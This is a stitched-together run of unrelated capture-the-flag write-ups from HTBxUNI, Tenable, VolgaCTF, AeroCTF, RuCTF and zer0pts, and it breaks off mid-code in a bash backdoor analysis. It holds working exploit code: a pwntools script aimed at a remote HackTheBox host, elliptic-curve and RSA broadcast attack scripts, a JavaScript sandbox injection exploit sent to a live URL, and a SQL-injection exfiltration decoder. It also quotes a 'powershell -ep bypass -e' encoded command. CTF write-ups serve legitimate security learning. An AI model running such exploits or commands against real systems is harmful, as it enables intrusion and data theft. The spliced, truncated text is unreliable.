## Moving Signals >> **category** : pwn>> **Points**: 442>> We don't like giving binaries that contain loads of information, so we decided that a small program should do for this challenge. Even written in some custom assembly. I wonder how this could be exploited.>> `EU instance: 161.97.176.150 2525`>> `US instance: 185.172.165.118 2525`>> author: Tango ## Challenge Overview The given file is a 64-bit executable that is statically linked and that is not stripped. ## Exploit Overview Following the challenge's description `Moving Signals` we conclude that the challenge can be exploited via `srop` technique.This technique can work under the following conditions. Read more [here](https://amriunix.com/post/sigreturn-oriented-programming-srop/) > Buffer overflow to overwrite the stack return address >`syscall` and `rax` gadgets that can be used to call sigreturn syscall. > There should be enough space on the stack to be used to sigcontext frame. Does this Binary meet all these conditions? > There is a buffer overflow at offset `0x8` > > There is a `syscall` and `pop_rax` gadget in the binary file. > > There is enough space that we can write on the stack because `syscall_read` max input check is `0x1f4` Therefore the exploit will be as follows `exploit=b'A'*8 + pop_rax + 0xf + syscall + frame` We can now control the value of out registers including `rip` therefore we determine the next instruction to execute. I decided to call `execve` because there was `/bin/sh` provided to us in the binary. :/ Check the final exploit @ [exploit.py](exploit.py) ## Flag The flag after spawning a shell was: `flag{s1gROPp1ty_r0p_321321}` :smile:
This is one of those CTF challenges where if you happen to be familiar with a certain technology, you see it straight away! The author, *kalan*, did give some clues by mentioning `пути` ("path") in both the title and description of the challenge... but luckily I'm familiar enough with this that the `m`, `c`, `v`, and `h` letters surrounded by numbers was enough for me to spot the key piece of information straight away: the provided file was a series of SVG path commands (the contents of the `d` attribute for an SVG `path` element). See [d - SVG: Scalable Vector Graphics | MDN](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/d) for an explanation of SVG path commands. So all that was needed was to turn this into a valid SVG file, as below ```xml<svg><path d="{contents of daodejing.txt}" /></svg>``` Viewing the SVG then shows the path data renders to be text characters giving the flag `ugra_grandpa_take_your_pills_or_we_will_beat_up_your_5730a631ec98be6c`.
# Arcade Here we have a binary for local debugging and a remote server running it. Binary is basically mock rpg game and one of its function is to give flag. The part of the binary with the flag output function is shown at the Figure 1. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-32-04.png) Figure 1 – The part of disassembled binary with flag output function But it will give flag only if temp_pass is not equal to passw[248:255]. So, we needed to overwrite it. We can do so in create_profile function because it uses strncat and nullbyte can be written exact in the end of out string if we will provide it only dashes as input. This is shown on the Figure 2. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-31-52.png) Figure 2 – The part of disassembled binary with vulnerable constructions Final exploit looks as follow: ```Pythonfrom pwn import *exe = context.binary = ELF('arcade')def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)gdbscript = '''continue'''.format(**locals())io = remote("docker.hackthebox.eu",31046)io.recvuntil(">")io.sendline('2')io.recvuntil(">")io.sendline('1')io.recvuntil("Super-")io.send('Super-'+'-'*7)io.send('2')io.recvuntil(">")io.sendline("120")io.recvuntil(">")io.send('-'*120)io.recvuntil(">")io.sendline('1')io.recvuntil("Super-")io.send('Super-'+'-'*7)io.send('2')io.recvuntil(">")io.sendline("120")io.recvuntil(">")io.send('-'*120)io.recvuntil(">")io.sendline('1')io.recvuntil("Super-")io.send('Super-'+'-'*7)io.send('2')io.recvuntil(">")io.sendline("120")io.recvuntil(">")io.send('-'*120)#retrieve flag manuallyio.interactive()``` The result of the exploit execution can be seen on the Figure 3. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-31-30.png) Figure 3 – The result of exploit execution and flag retrieval Flag: HTB{1ts_4_m3_fl4gioo!}.
# Signal from outer space We are given an elliptic curve equation, group generator (ISS Coordinates as Reference Point), and public key P = G*x (Miscalculated Source Point), and the encrypted flag using AES.The actual key for AES is sha1((P*x).x), so to recover this we need to solve ECDLP.We can note that the group order is equal to the number of elements in the field. This can be seen on the Figure 1. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-22-58-52.png) Figure 1 – Screenshot from Jupiter Notebook Hence, we can use Smart attack on anomalous curves to solve ECDLP. The description of this attac can be found by the following link: https://wstein.org/edu/2010/414/projects/novotney.pdf and the exploit can be found here: https://github.com/kabachook/ecc/blob/master/ecc/tasks/anomalous/algo.py After decrypting we get an mp3 file, the flag itself is being pronounced.The final exploit: ```Pythonimport hashlibfrom Crypto.Cipher import AESfrom typing import Unionfrom sage.all import *from sage.schemes.elliptic_curves.ell_point import *def hensel_lift(P: EllipticCurvePoint, p: Integer, prec: Union[None, Integer]) -> EllipticCurvePoint: E = P.curve() Eq = E.change_ring(QQ) Ep = Eq.change_ring(Qp(p, prec)) x_P, y_P = P.xy() x_lift = ZZ(x_P) y_lift = ZZ(y_P) y = var('y') a1, a2, a3, a4, a6, x = ZZ(Eq.a1()), ZZ(Eq.a2()), ZZ( Eq.a3()), ZZ(Eq.a4()), ZZ(Eq.a6()), ZZ(x_P) g = y**2 + a1*x*y + a3*y - x**3 - a2*x**2 - a4*x - a6 gDiff = g.diff() for i in range(1, prec): uInv = ZZ(gDiff(y=y_lift)) u = uInv.inverse_mod(p ^ i) y_lift = y_lift - u*g(y_lift) y_lift = ZZ(Mod(y_lift, p ^ (i+1))) y_lift = y_lift+O(p ^ prec) return Ep([x_lift, y_lift])def smart_attack(P: EllipticCurvePoint, Q: EllipticCurvePoint, p: Integer, prec: Union[None, Integer]) -> Integer: E = P.curve() Eqq = E.change_ring(QQ) Eqp = Eqq.change_ring(Qp(p, prec)) P_Qp = hensel_lift(P, p, prec) Q_Qp = hensel_lift(Q, p, prec) p_times_P = p*P_Qp p_times_Q = p*Q_Qp x_P, y_P = p_times_P.xy() x_Q, y_Q = p_times_Q.xy() phi_P = -(x_P/y_P) phi_Q = -(x_Q/y_Q) k = phi_Q/phi_P k = Mod(k, p) return kf = 19930885203825540108513916323464619607890520613882110268999315402502483992713624056070847778485065788387695567162120805830837964237496163664777233360835853F = GF(19930885203825540108513916323464619607890520613882110268999315402502483992713624056070847778485065788387695567162120805830837964237496163664777233360835853)E = EllipticCurve(F, [F(16964108867870875431022511847406074513505438269132199629926447105117327702973321429130078673611996313382775579316996202239740533714013559789369433905598853), F( 2557269903904682970099236538031735218462780844817175317697385659377007186785050969676938059088155922328011075081606354569621958862612850816694647002380820)])print(E)Gx = F(11612316038801479962400723698427883310130163176291338759911281034170556609743457773032375965620429931675410389220512342834663089126659445523701533922313238)Gy = F(14492470559976609909614920150302533890662281539874542639808213982956316710837667114681496336361906718748053884513468343236055545337522055713141076615967243)G = E((Gx, Gy))print(G)Px = F(716447455218443211337138354910360820310039222467099750548875601978669948877653369670984450493776038314939273990792875030477209738905138162016103972822887)Py = F(2577636835404844606086593513656242872409629115084680797009677298030035019056074660428408865132307063442440986937998752115629728860272800311376841076830297)P = E((Px, Py))print(P)print(f)print(E.order())print(E.order() == F)d = smart_attack(G, P, f, 8)print(d)PP = G * 11568228948033756316880439309350939673466728751800247616290793327983726097204440941777542891811676682980936787973145438110219254450479902147897654728360094PP = PP * 11568228948033756316880439309350939673466728751800247616290793327983726097204440941777542891811676682980936787973145438110219254450479902147897654728360094print(PP.xy()[0])x = PP.xy()[0]sha1 = hashlib.sha1()sha1.update(x)key = sha1.digest()[:16]enc = open('flag.enc', 'rb').read()cipher = AES.new(key, AES.MODE_ECB)dec = cipher.decrypt(enc)open('flag.mp3', 'wb').write(dec)``` Flag: HTB{37_c0m3_h0m3_d1nn3r_15_r34dy}.
# Baby rebellion We were given 3 RSA public keys in forms of certificates and S/MIME encrypted email messages. Our S/MIME encrypted message among other things consists of:• AES session key encrypted with 3 RSA public keys we are given. One time for each recipient.• AES IV (encryption mode is CBC).• Message encrypted with AES session key.So normally you would decrypt the AES session key with RSA private key, but we do not have any.Looking at the public keys we can notice that all 3 public keys have the same public exponent: e = 3. And since we have the same plaintext (session key) encrypted multiple times using the same low public exponent, we can use broadcast attack to recover the plaintext.In our case broadcast attack consists of using CRT on moduli and ciphertexts and then extracting cube root from the result of CRT.Using broadcast attack yields us an AES session key padded with PKCS1-v1_5 padding. This can be seen on the Figure 1. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-15-33.png) Figure 1 – AES session key padded with PKCS1-v1_5 padding To unpad it, we simply cut off everything except the last 32 bytes. Last 32 bytes are our AES session key.Then we decrypt the main message using recovered AES key using the following code and get the flag, as can be seen on the Figure 2. ```pythonfrom asn1crypto import cms, util, x509, pemfrom sympy.ntheory.modular import crtfrom sympy.functions.elementary.miscellaneous import cbrtfrom Crypto.Util.number import *from Crypto.Cipher import AESdata = open('msg.der', 'rb').read()info = cms.ContentInfo.load(data)enveloped_data = info['content']encrypted_content_info = enveloped_data['encrypted_content_info']enc_flag = encrypted_content_info['encrypted_content'].nativeaes_iv = encrypted_content_info['content_encryption_algorithm']['parameters'].nativerec_data = { '[email protected]':{}, '[email protected]':{}, '[email protected]':{}}for recipient in enveloped_data['recipient_infos']: rec_mail = recipient.chosen['rid'].native['issuer']['email_address'] rec_data[rec_mail]['enc_key'] = recipient.chosen['encrypted_key'].nativeprint(aes_iv)mechi_pem = open('mechi.crt', 'rb').read()if pem.detect(mechi_pem): _, _, mechi_der = pem.unarmor(mechi_pem)mechi_crt = x509.Certificate.load(mechi_der)rec_data['[email protected]']['n'] = mechi_crt['tbs_certificate']['subject_public_key_info']['public_key'].native['modulus']print(mechi_crt['tbs_certificate']['subject_public_key_info']['public_key'].native)cor_pem = open('corius.crt', 'rb').read()if pem.detect(cor_pem): _, _, cor_der = pem.unarmor(cor_pem)cor_crt = x509.Certificate.load(cor_der)rec_data['[email protected]']['n'] = cor_crt['tbs_certificate']['subject_public_key_info']['public_key'].native['modulus']print(cor_crt['tbs_certificate']['subject_public_key_info']['public_key'].native)andr_pem = open('andromeda.crt', 'rb').read()if pem.detect(andr_pem): _, _, andr_der = pem.unarmor(andr_pem)andr_crt = x509.Certificate.load(andr_der)rec_data['[email protected]']['n'] = andr_crt['tbs_certificate']['subject_public_key_info']['public_key'].native['modulus']print(andr_crt['tbs_certificate']['subject_public_key_info']['public_key'].native)ns, cs = [], []for v in rec_data.values(): ns.append(v['n']) cs.append(bytes_to_long(v['enc_key']))x = crt(ns, cs)[0]m = cbrt(x)aes_key = long_to_bytes(m)print(pow(m, 3, ns[0]) == cs[0])print(len(aes_key))aes_key = aes_key[-32:]cipher = AES.new(aes_key, AES.MODE_CBC, aes_iv)mb_flag = cipher.decrypt(enc_flag)print(mb_flag)``` ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-16-04.png) Figure 2 – The exploit output Flag: HTB{37.220464, -115.835938}
# HTBxUni AI Bot is sitting in the HackTheBox server and responds only to the administrator. DMs are also disabled, as shown on the Figure 1. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-30-12.png) Figure 1 – An attempt to communicate with a bot To solve this challenge, we needed to add this bot to our server. To do so we should copy bot id (we can do that only if developer mode is enabled in Discord or in web version) as shown on the Figure 2. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-30-06.png) Figure 2 – Extracting bot’s ID Then we added bot using Discord’s OAUTH api: https://discord.com/oauth2/authorize?client_id=764609448089092119&scope=bot&permissions=387072. This can be seen on the Figure 3. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-30-01.png) Figure 3 – Inviting bot to our discord server Then we changed our role to Administrator to get flag, as shown on the Figure 4. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-29-55.png) Figure 4 – Changing user role And the bot can be deactivated. The result of “!shutdown” command can be seen on the Figure 5. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-29-49.png) Figure 5 – Result of “!shutdown” command execution Flag: HTB{w0w_y0u_4r3_4c7u4lly_4n_4dm1n157r470r}.
# Tenable CTF 2021 WriteupThis repository serves as a writeup for Tenable CTF 2021 ## The ultimate mutant marvel taem-up **Category:** Tenable**Points:** 25**Description:** File: [Linux_Scan.db](resources/tenable-25-the_ultimate_mutant_marvel_team_up/Linux_Scan.db) ### Write-upIn this task, we need to install Nessus scanner and use it to read the encrypted database, so I've installed its community version (free with a trial version). In the main page, there was an "Import" button that I've used to upload the Nessus Database "Linux_Scan.db" with the required password. And that's how we got the scan results called "Linux Scan". When we access this scan: I tried to search for the flag in the Filter input but I wasn't be able to find it. But I found something that could be interesting which is the Export button: We know that the file that we've imported was a Nessus DB but what about the Nessus export? After I exported the file and I downloaded it I got a text file [Linux_Scan_uuo914.nessus](resources/tenable-25-the_ultimate_mutant_marvel_team_up/Linux_Scan_uuo914.nessus) which contains the flag. The flag contains an encoded HTML character which is the "'". So the flag is ``flag{1t's eXt3n51bl3}``. _____ ## Knowledge is knowing a tomato is a fruit **Category:** Tenable**Points:** 25**Description:** File: [Linux_Scan.db](resources/tenable-25-the_ultimate_mutant_marvel_team_up/Linux_Scan.db) ### Write-upThis is the continuity of the previous task. In this task, I tried to download the scan results for the host `172.26.48.53` using the "Download" link: I searched for the flag in the downloaded .txt [kb_172.26.48.53.txt](resources/tenable-25-knowledge_is_knowing_a_tomato_is_a_fruit/kb_172.26.48.53.txt) file and I found it: So, the flag is ``flag{bu7 n07 putt1ng 1t 1n 4 fru17 s@l4d, th@t5 W1SD0M}``.___ # Scoreboard In this CTF, we played as a team ``S3c5murf`` with [Likkrid](https://twitter.com/RidhaBejaoui1) and [v3rlust](https://twitter.com/dal0ul) and we got ranked 100th/1762: ...... The tasks that I've solved All the tasks that we've solved and we didn't solved as a team: CTFTime event: [https://ctftime.org/event/1266](https://ctftime.org/event/1266)
# Ircware The binary tries to connect to port 0x1f40 locally, as seen on the Figure 18. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-18-11.png) Figure 1 – Fragment of the binary with connection information Then it is waiting for messages among which there is message for password. This can be seen on the Figure 2. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-18-25.png) Figure 2 – Binary fragment with password input Then the message “RJJ3DSCP” is decrypted to “ASS3MBLY” and this string is used as password. Input of this string as password reveals flag. The exploitation and the flag can be seen on the Figure 3. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-18-32.png) Figure 3 – Exploitation and the result Flag: HTB{m1N1m411st1C_fL4g_pR0v1d3r_b0T}.
# KapKan Opening invoice file in 7z and reading through its content reveals message in the UTF-8 char codes. This message can be seen at Figure 1. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-22-03.png) Figure 1 – Encoded mesage Translating decimal to UTF-8 gives us the following:```powershell -ep bypass -e SABUAEIAewBEADAAbgA3AF8ANAA1AEsAXwBNADMAXwBoADAAVwBfADEANwBfAHcAMABSAEsANQBfAE0ANAA3ADMAfQA=``` The base64 part is equal to HTB{D0n7_45K_M3_h0W_17_w0RK5_M473}.Flag: HTB{D0n7_45K_M3_h0W_17_w0RK5_M473}
# Hi! My name is (what?) The task can be solved by simple binary patching. The only check performed (in addition to anti-debugging check which also can be patched out), as can be seen on Figure 1, is the username. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-17-32.png) Figure 1 – Checks in binary file Since the name is not appropriate for linux user, it is easier to simply patch the binary, as can be seen on Figure 2. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-17-26.png) Figure 2 – Binary patch Running the binary after the patch reveals flag. The result of binary execution can be seen on the Figure 3. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-17-21.png) Figure 3 – Result of binary execution Flag: HTB{L00k1ng_f0r_4_w31rd_n4m3}.
# Malception First step is to extract the binary from PCAP.While analyzing the binary file, we understand that the common cipher RC4 is used in the first phase of communication. RC4 usage can be seen on the Figure 1. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-20-17.png) Figure 1 – Binary fragment with RC4 usage The key for the cipher is a domain name, which can be spotted in other streams. As only 8 letters are used, it is MEGACORP.Decoding the next stream and adding resources from the first binary gives us .NET payload with the same key. This can be seen at the Figure 2. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-20-28.png) Figure 2 – .NET payload with the same key This key is used to hide the RSA key. Decoding it gives us an opportunity to extract the final – AES-key, and decrypt the files transmitted. The transmitted files can be seen at the Figure 3. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-20-37.png) Figure 3 – Transmitted files First one contains a picture, the second one – a flag. This picture and the flag can be seen at the Figure 4. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-20-49.png) Figure 4 – Decrypted picture and flag Flag: HTB{m1nd_b3nd1ng_m@lwAr3!??}
Higher====== Task description---------------- > Take higher>> recorded.mp3 Solution-------- ![Audacity screenshot](audacity.png) Given was an audio file (recorded.mp3) which contains information encoded inthe high frequencies (about 12 KHz to 20 KHz) of the frequency spectrum. Tosee these information, open the file in audacity and change to the frequencyspectrum view. Note that you have to change the default settings there toinclude high frequencies up to 22 KHz (default is up to 8 KHz). You will seelonger and shorter bars (see audacity.png). Longer bars encode a 1, whileshorter bars encode a 0. Reading all bars will result in the following bitpattern: 01101111 01101100 01101111 01100001 01000011 01010100 01000110 01111011 01001110 00110000 01110100 01011111 00111100 01101100 01101100 01011111 01100011 00110100 01101110 01011111 01100010 00110011 01011111 01101000 00110011 00110100 01110010 01100100 01111101 If you group them into items of 8 bit you get an ASCII representation of theflag, which is: `VolgaCTF{N0t_4ll_c4n_b3_h34rd}`
![](media/image13.png) The task description tells us that some hacker was caught, and a RAMdump was taken from his machine. Also, the hacker was debugging somedriver, and the debug traffic was recorded. Accordingly, we arepresented with two files. Let's open the traffic file. There we see Windows kernel debug traffic,which was encrypted, and nothing else. ![](media/image19.png) If we want to decrypt the traffic, there is a public dissector thatsupports decryption -[https://github.com/Lekensteyn/kdnet](https://github.com/Lekensteyn/kdnet).But first we need to find a key. At this point, we need to analyze thedump in order to understand which key was used. The memory dump was taken from Windows 10x64_19041. Let's use volatilityto find what processes are running on the system. ![](media/image10.png) In the processes list we can see «windbg.exe» ![](media/image20.png) Since the traffic is encrypted, it may lead to the idea that theencryption key may be hidden in the WinDBG dump. The following is notthe most obvious part of the solution, but if you look closely at thelist of processes, you can see the process \"Microsoft.Pho ..\" (this isthe first process in the list). This program is used to view images. Itmeans that some images are open on the computer, and we can look atthem. Dump the process and open it in GIMP. ![](media/image18.png) We need an offset to display the image, luckily we can calculate it byhands, and then see a piece of the password for WinDBG. ![](media/image15.png) The first part of the key is «17890.». The key for WinDBG contains a fewparts which are splitted by dots. So now we can search for the keyinside the dump. The key is stored in memory in a transformed form. Eachpart of the key is converted to bytes as a base 36 number. In this case,each part of the key is 8 bytes. ![](media/image6.png) Let's try to find this sequence in the dump: ![](media/image12.png) As a result, we find the remaining bytes of the key: ![](media/image9.png) At this stage, we no longer need a RAM dump and we need to use the keywe got, but first, convert it from bytes to the correct format (althoughyou can probably use the converted key immediately). As an option, youcan use this tool for conversion -[http://extraconversion.com/base-number/base-36](http://extraconversion.com/base-number/base-36).Finally we get the following key: 17890.af3489a.9345kjm.lio147. Now we need to decrypt the traffic using the dissector that wasmentioned above. In order for the dissector to work correctly, you need to install anadditional library, also provided by the author of the dissector -[https://github.com/Lekensteyn/luagcrypt](https://github.com/Lekensteyn/luagcrypt).The building instruction is contained in the project itself, so Imanaged to build it without any problems. Since we have compiled the library, we can test the dissector\'s workusing an example from the repository (as far as I know, manyparticipants succeeded in this). However, the dissector does not work ontraffic from the challenge. This happens due to an error inside the luascript in the key parsing function. The problem is the following: if thekey contains more than 1 byte, the conversion is incorrect, since theauthor forgot to expand the bytes. As a result, you need to add a singleline of code to process the key correctly. ![](media/image3.png) Now we can decrypt the traffic: ![](media/image5.png) Now our traffic was decrypted and we can start analyzing it. Debuggingthe kernel generates a lot of requests, but we understand that theobject being debugged is the driver, and we need to find it. Let\'s tryto search for the \"Aero\" string (the first characters of the flag). Wecan see the directory path, which looks like a directory where the taskwas developed. Also we see the name of the driver: \"TestDriver\". ![](media/image2.png) Now we know the name of the driver and then we can search for it intraffic: ![](media/image4.png) When we find the driver name, we get more information about this module.Its offset, size, and current instruction pointer. Now we can find thebase address of the driver (the address the driver was loaded), sincethe 4 most significant bytes of the current instruction pointer will notbe changed. And the offset is added to the 4 least significant bytes(this could also be found out empirically by debugging of any Windowskernel). Let\'s search for calls to the driver address and findmemory-read calls, where the first block contains the signature of theWindows executable file. Now we need to copy the driver from traffic. ![](media/image8.png) We will use the following filter to copy all the data that is reading atthe desired addresses: ![](media/image14.png) That filter will allow us to get all successful reading operations wherethe data was returned. Let's save the data as JSON: ![](media/image22.png) Now let's use a simple script to recover the entire file: ![](media/image16.png) Now we will load a file into IDA. There are not many functions here, soif we just view them all, we immediately find a function with a bunch ofconstants inside the array initialization: ![](media/image7.png) Let's see what it does: ![](media/image17.png) It seems that the function just XORs some array with another array. Butat the moment we can't just XOR two arrays, because the keys inside thedriver look incorrect. It just an iteration from 0 to 37: ![](media/image21.png) Probably the hacker sent the key through the debugger. Let's search formemory-write commands: ![](media/image11.png) There are not many records, and there are even fewer records with data.You can immediately pay attention to the sequential writing of bytes tosequential addresses. Let\'s try to use these bytes as keys: ![](media/image1.png) And we got the flag.
Full writeup: https://lkmidas.github.io/posts/20210228-aeroctf2021-writeups/ tl;dr1. Analyze the main function -> see 3 functions, the 1st one seems to be encrypted.2. Analyze the 3rd function -> learn that our given dump file is actually the .text, .data and the heap of the executing process that is dumped out.3.Analyze the 2nd function -> learn that it encrypts the first function by xoring it with 32 bytes that are read from an unknown stream, also there seems to be some trash data that got insert after the real key.4. Use the knowledge that the new ELF file format always include the endbr64 instruction at the start of each compiled function -> xor its opcode with the first 4 bytes of the encrypted code to get the first 4 bytes of the xor key -> search for it in the memory and decrypt the code.5. Analyze the 1st function -> learn that it reads the flag into the beginning of the data dump, then encrypts the flag using AES-CBC, the key and IV are also stored somewhere in the data dump the same as the xor key before.6. Use the knowledge that the code for AES-CBC actually hard copy the key and IV into a AES_ctx struct, also stored somewhere in the dump, to search for duplicates byte string that is 16 bytes in length -> find the key and IV to decrypt the flag.
[Original writeup](http://quangntenemy.blogspot.com/2014/03/ructf-quals-2014.html) This is an easy GIF stegano, but it took me quite a while analysing the image until I noticed it contained 8 similar frames which wasn't easy to notice in GIMP by default (note to myself: next time check the frames first). It is common sense to combine them and find the differences. The positions of the different pixels are as marked below: ![task.png](http://3.bp.blogspot.com/-O-2VfIcQMWM/Ux3SNXE2iqI/AAAAAAAAAHs/vZRzZwiYSIw/s1600/task.png) It isn't very straightforward, but the flag is hidden here in binary representation. Using black pixels as 0s and green pixels as 1s give you the flag: `RUCTF_e4dd9f5cee307b322c3a27abe66e3df9`
# Kantan CalcWe can eval up to 29 charactes of js code in a new vm context. Our code is oput after the return statement of an anonymous function which is called and its output is shown on the webpage. The flag is in a comment after our source code in the same anonymous function.## Ideas:I knew beforehand that you can obtain a functions source code via .toString() on the function. But the function with the flag in the comment was anonymous so there is way to access it. Functions in js have an implicity defined variable called arguments[todo mdn link], which not only contains the arguments but has a callee and caller fields as well. Sadly both are not usable in strict mode. My next try was using an exception/stack trace. I was hoping to access individual stack frames and/or the functions source code. But js exception objects can only generate a stacktrace which contains file/line-nr pairs and no source code. ## Syntactic shenanigans:After some more googling and trying random stuff i realized that there was no good way to access the anonymous function from within. S took a step back and looked at the source code again```javascript=`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()````The code is intended to be a single function with a single return statement but we can insert arbitrary(as long as its less than 30 characters) text.So my idea was to take the first part```'use strict'; (function () { return```and make it return a function that takes the ```; /* ${FLAG} */ })()```part (as its own function) as parameter and calls toString on it.The only issue is the last paranthesis pair at the end. Our code has to run without an error so our function needs to return something callable again.Here is my initial solution:```(a)=>()=>(a+"")[0]})()(()=>{``` how it will be executed:```javascript'use strict';(function () { return (a)=>()=>(a+"")[0]})()(()=>{; /* ${FLAG} */ })() //formated:(function () { return (a)=>()=>(a+"")[0]})()(()=>{; /* ${FLAG} */ })()```We return a function that takes an argument a, which we set to a function that contains only a ; and the flag as the comment.We now return another function, to be called by the final () in which we convert the function to a string via the +"". This is shorther than toString and does the same.Now the last part was avoiding the filter that blocks any output containing "zer0pts" which is part of the flag.I did this by simply leaking one char at a time. Final exploit:```pythonimport requestsimport redef get_flagpos(pos): server = "http://web.ctf.zer0pts.com:8002/" payload = '(a)=>()=>(a+"")['+str(pos)+']})()(()=>{' rq = requests.get(server, {"code":payload}) return re.search('<output>(.*)</output>', rq.content.decode()).group(1)"".join([get_flagpos(c) for c in range(10,55)])```And we get 'zer0pts{K4nt4n_m34ns_4dm1r4t1on_1n_J4p4n3s3} ' ## Kantan Sourcecode: ```const express = require('express');const path = require('path');const vm = require('vm');const FLAG = require('./flag'); const app = express(); app.set('views', path.join(__dirname, 'views'));app.set('view engine', 'pug'); app.use(express.static(path.join(__dirname, 'public'))); app.get('/', function (req, res, next) { let output = ''; const code = req.query.code + ''; if (code && code.length < 30) { try { const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 }); output = result + ''; if (output.includes('zer0pts')) { output = 'Error: please do not exfiltrate the flag'; } } catch (e) { output = 'Error: error occurred'; } } else { output = 'Error: invalid code'; } res.render('index', { title: 'Kantan Calc', output });}); app.get('/source', function (req, res) { res.sendFile(path.join(__dirname, 'app.js'));}); module.exports = app;```
# Exfil The task requires us retrieving the data gained by time-based blind sql injection. We extract the MySQL queries into the separate PCAP and run the following script: ```Pythonfrom scapy.all import *import repayload = b"SELECT ASCII\(substr\(\(SELECT .*, \d\)\) >> \d & 1\) \* 3\)"p = rdpcap("mysql.pcap")known_patterns = dict()for i in range(len(p)-1): pattern = re.search(payload, bytes(p[i][Raw])) if pattern: pattern = pattern.group(0) else: continue if pattern in known_patterns: known_patterns[pattern].append(p[i].time) else: known_patterns[pattern] = [p[i].time,]exfils = defaultdict(str)for pattern, timings in known_patterns.items(): res = re.findall(b"substr\((.*)\), (.*),.*>> (.*) &", pattern) (query, position, bit) = res[0] delta = abs(timings[0] - timings[-1]) if delta >= 2: exfils[query] += '1' else: exfils[query] += '0'print(exfils)``` Figure 1 shows the output of the script above. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-24-32.png) Figure 1 – Output of the script The last binary string decodes to HTB{b1t_sh1ft1ng_3xf1l_1s_c00l|, substitute the last symbol to get the flag.Flag: HTB{b1t_sh1ft1ng_3xf1l_1s_c00l}
# Aero CTF 2021 - BashD00r (500 pts) This is the second challenge I was able to solve, and the hardest one. The task is below:> There seems to be something wrong with our bash.> > Can you see if anyone has entered the backdoor?> > bash.7z So we are given a archive, which contains a "bash" binary. This binary was backdoored, so we need to find it to get the flag. ## Bash backdoor, Pt. I While opening the file on IDA, the entry point isn't disassembled correctly. The entrypoint is placed straddling the ".text" and the ".data" section. After defining the instructions on the data section, we can locate the "main" function:```_data segment dword public 'DATA' use64.data:000000000001ECA2 assume cs:_data.data:000000000001ECA2 ;org 1ECA2h.data:000000000001ECA2 db 1Eh.data:000000000001ECA3 db 0FAh.data:000000000001ECA4 ; ---------------------------------------------------------------------------.data:000000000001ECA4 xor ebp, ebp.data:000000000001ECA6 mov r9, rdx.data:000000000001ECA9 pop rsi.data:000000000001ECAA mov rdx, rsp.data:000000000001ECAD and rsp, 0FFFFFFFFFFFFFFF0h.data:000000000001ECB1 push rax.data:000000000001ECB2 push rsp.data:000000000001ECB3 lea r8, __libc_csu_fini.data:000000000001ECBA lea rcx, __libc_csu_init.data:000000000001ECC1 lea rdi, main.data:000000000001ECC8 call cs:off_11EF38.data:000000000001ECCE hlt.data:000000000001ECCF```The main function is huge, thanks to inlined static functions. But we can quickly see that the main function belongs to the "shell.c" file thanks to some debug function, that look like this:```.data:00000000000206A5 call set_default_locale.data:00000000000206AA call getuid_0.data:00000000000206AF mov ebx, eax.data:00000000000206B1 cmp eax, cs:cur_user__uid.data:00000000000206B7 jz short loc_20731.data:00000000000206B9 mov rdi, cs:cur_user__username.data:00000000000206C0 test rdi, rdi.data:00000000000206C3 jz short loc_206D6.data:00000000000206C5 mov edx, 1642.data:00000000000206CA lea rsi, aShellC ; "shell.c".data:00000000000206D1 call print_free```So I downloaded the bash 5.1 source tarball (the version can be identified easily thanks to program's strings), and looked at this file. But the corresponding snippet in bash source```c u = getuid (); if (current_user.uid != u) { FREE (current_user.user_name); ```is located at line 1292 instead of 1642. So we can tell that the binary has been recompiled from the source with the backdoor injected. I spent some time to identify the file's function, and came across this function that doesn't have anything looking like this in its sources:```c v26 = __readfsqword(0x28u); v0 = (_QWORD *)sh_malloc(4096LL, "shell.c", 587LL); v0[511] = 